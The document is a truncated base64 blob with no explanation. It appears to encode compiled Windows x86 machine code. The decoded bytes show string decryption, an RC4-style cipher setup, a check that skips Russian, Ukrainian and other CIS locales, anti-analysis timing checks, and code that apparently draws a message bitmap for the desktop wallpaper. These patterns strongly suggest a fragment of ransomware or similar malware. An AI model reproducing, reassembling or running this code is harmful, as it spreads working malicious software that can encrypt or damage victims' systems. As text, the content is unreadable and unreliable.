AEIX2eRaLRfhQiwj/UQj/FTj9ABCLw+k2AQAAjUXwM/ZQaFzAABBqBFZojMAAEIl18P8V2P0AEKFU8AAQu1TwABBT/1AEi0XwjVXsUol17FOLCFD/UQyLReyNVfRSiXX0aEzAABCLCFD/EY1F5L9g8AAQUGoGag1oxAUAAFfoXB8AADPAZolF6o2FHP///1BorgAAAGoPaFwDAABX6D0fAAAzwIPEKGaJRcqNReRQ/xWM/gAQi9iNhRz///9Q/xWM/gAQ/3X0i038i/hWaIAAAABXixFTUf9SXFOL8P8V5P4AEFf/FeT+ABCF9nkFM/ZG6xxq/+gTEAAAUP8VPP0AEItF/P919FCLCP9REDP2i0X8UIsI/1EIi0X4UIsI/1EIi0XwUIsI/1EIi0XsUIsI/1EIiw1U8AAQaFTwABD/UQiLTfRRixH/Ugj/FTj9ABCLxl9bXovlXcIEAFWL7IPsOFNWagRoLMAAEDP2Vv8VxP0AEIvYhdt1BzPA6TMBAABWVo1F+Il1/FCNRfyJdfhQVlZqAWowVlP/FVj+ABCFwHQV6L0VAAA96gAAAHQJU/8VnP4AEOvCV/91/OiBCwAAi/iJfexZhf91DlP/FZz+ABAzwOnaAAAAVlaNRfhQjUX8UP91/FdqAWowVlP/FVj+ABCFwA+ErwAAAIl18Dl1+A+GoAAAAIsHUIlF6OiDIAAAoXDZARBZ6xb/dej/MOgpHgAAWVmFwHVxi0X0i0AEiUX0hcB144vGhcB0RmggAAEA/zdT/xXM/gAQi9CJVfSF0nRTagZZM8CJdciNfczzq41FyFBqAVL/FRz+ABCLffRXhcB0K/8VAP4AEIXAdCCLfeyLRfCDxyxAiX3siUXwO0X4D4Ju////6wwzwEDrmVf/FZz+ABAz9kZT/xWc/gAQi8ZfXluL5V3DVYvsgexUAQAAVv91COhkIQAAjQRFAAgAAFDoaQoAAIvwWVmF9g+ECwQAAFNXjYXY/v//u2DwABBQahBqC2imAgAAU+jeHAAAM8BmiYXo/v//jYXY/v//UFbobyAAAP91CFbooh8AAGgYwAAQVuiXHwAAjYWs/v//UGoUagxoJwUAAFPonhwAAIPEQDPAZomFwP7//42FTP///1BqDGoHX1doqgUAAFPoehwAADPAZomFWP///42FHP///1BqDmoJaJMKAABT6FscAAAzwGaJhSr///+NhQz///9Qag5XaMUAAABT6D0cAAAzwGaJhRr///+Nhfz+//9Qag5qBWjnAAAAU+geHAAAg8RQM8BmiYUK////jUWkUGoIW1NXaCIHAABoYPAAEOj6GwAAM8BmiUWsjUWYUFNqEGgdCwAAaGDwABDo3hsAADPAZolFoI2FaP///1BqCldo0gkAAGhg8AAQ6L8bAAAzwGaJhXL///+Nhaz+//+JRdSNhUz///+JRdiNhRz///+JRdyNhQz///+JReCNhfz+//+JReSNRaSJReiNRZiJReyNhWj///9XagCJRfDoeBQAAIPERP90hdRW6EIeAAC/GMAAEFdW6DYeAACNhTz///9QagxqBGgfAgAAaGDwABDoORsAADPAZomFSP///42FxP7//1BqEGoGaA0BAABoYPAAEOgWGwAAM8BmiYXU/v//jYVc////UGoKagpo/gIAAGhg8AAQ6PMaAACDxEwzwGaJhWb///+NRYxQU2oPaFIFAABoYPAAEOjRGgAAM8BmiUWUjUXIUGoGagRojAUAAGhg8AAQ6LQaAAAzwGaJRc6Nhez+//9Qag5TaGMCAABoYPAAEOiVGgAAM8BmiYX6/v//jYUs////UGoMagZocgEAAGhg8AAQ6HIaAACDxFAzwGaJhTj///+NRYBQU1NougYAAGhg8AAQ6FEaAAAzwGaJRYiNhXT///9QU2oOaPEJAABoYPAAEOgyGgAAM8BmiYV8////jYU8////iUXQjYXE/v//iUXUjYVc////iUXYjUWMiUXcjUXIiUXgjYXs/v//iUXkjYUs////iUXojUWAU4lF7DPbjYV0////U4lF8OjkEgAA/3SF0FbosRwAAFdW6KocAACDxECL+2oJU+jGEgAAWVmDwAF0O2p6amHothIAAGp6amFmiUX46KkSAABmiUX6M8BmiUX8jUX4UFbobBwAAGoJU0fojBIAAIPEIEA7+HLFaBzAABBW6FAcAACNRcC7YPAAEFBqBmoQaAYFAABT6FUZAAAzwGaJRcaNRbhQagZqDmilAAAAU+g8GQAAM8BmiUW+jUWwUGoGag9odAoAAFPoIxkAADPAg8REZolFto1FwIlF9I1FuIlF+I1FsGoCagCJRfzoCxIAAP90hfRW6NgbAACDxBBfW16L5V3DVYvsUVb/dQjoLh0AAAMFfNkBEI0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